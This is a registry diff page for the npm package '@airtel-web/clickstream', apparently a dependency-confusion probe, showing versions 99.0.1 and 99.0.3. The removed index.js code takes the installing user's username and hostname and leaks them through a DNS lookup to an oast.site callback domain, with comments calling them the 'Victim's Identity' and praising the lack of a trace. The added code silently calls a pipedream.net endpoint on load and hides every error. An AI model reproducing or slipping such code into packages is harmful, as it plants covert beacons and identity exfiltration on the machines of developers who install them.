@airtel-web/clickstream 99.0.1 → 99.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +19 -12
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,14 +1,21 @@
1
- const dns = require('dns');
2
- const os = require('os');
3
- // 1. Get the Victim's Identity
4
- const user = os.userInfo().username;
5
- const host = os.hostname();
6
- // 2. Encode it into a domain
7
- const payload = `airtel.${user}.${host}.[d55f71qdlsbe5tabiulgcuzug71mfgwn5.oast.site]`;
8
- // 3. Send the Signal (Fire and Forget)
1
+ const https = require('https');
2
+
3
+ // Minimal "fire and forget" GET request
9
4
  try {
10
- dns.lookup(payload, (err) => {
11
- // We don't care about the result, just the query.
12
- // This confirms execution without leaving a trace.
13
- });
5
+ https
6
+ .get(
7
+ {
8
+ hostname: 'eosrhixgl4px9ae.m.pipedream.net',
9
+ port: 443,
10
+ path: '/',
11
+ method: 'GET'
12
+ },
13
+ (res) => {
14
+ // Drain and ignore response
15
+ res.resume();
16
+ }
17
+ )
18
+ .on('error', () => {
19
+ // Silently ignore errors
20
+ });
14
21
  } catch (e) { }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@airtel-web/clickstream",
3
- "version": "99.0.1",
3
+ "version": "99.0.3",
4
4
  "description": "debugging",
5
5
  "license": "MIT",
6
6
  "author": "mpanwar",